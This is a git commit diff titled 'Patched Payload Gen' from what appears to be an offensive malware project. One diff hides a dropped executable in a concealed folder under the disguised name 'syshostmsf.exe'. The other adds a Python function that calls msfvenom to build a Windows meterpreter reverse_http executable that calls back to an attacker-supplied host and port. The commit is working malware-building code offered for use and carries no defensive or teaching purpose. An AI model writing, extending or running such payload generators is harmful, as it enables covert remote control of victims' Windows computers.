Patched Payload Gen

This commit is contained in:
Sarwar "Bartmoss
2025-07-18 20:06:50 +05:00
parent 1b4c9f849a
commit b0d71982b4
2 changed files with 16 additions and 1 deletions

View File

@ -27,7 +27,7 @@ func main() {
fmt.Println("Error creating hidden folder:", err)
return
}
outputFile := filepath.Join(hiddenFolder, "syshost.exe")
outputFile := filepath.Join(hiddenFolder, "syshostmsf.exe")
file, err := os.Create(outputFile)
if err != nil {
fmt.Println("Error creating file:", err)

15
main.py
View File

@ -351,6 +351,21 @@ def restore_bartmossbrainworm_go(original_lines):
with open(go_path, 'w') as f:
f.writelines(original_lines)
def generate_msfvenom_exe(lhost, lport, output_path):
import subprocess
cmd = [
'msfvenom',
'-p', 'windows/x64/meterpreter/reverse_http',
f'LHOST={lhost}',
f'LPORT={lport}',
'-f', 'exe',
'-o', output_path
]
result = subprocess.run(cmd, capture_output=True)
if result.returncode != 0:
raise RuntimeError(f"msfvenom failed: {result.stderr.decode()}")
def shell():
current_module = None
readline.set_completer(shell_completer)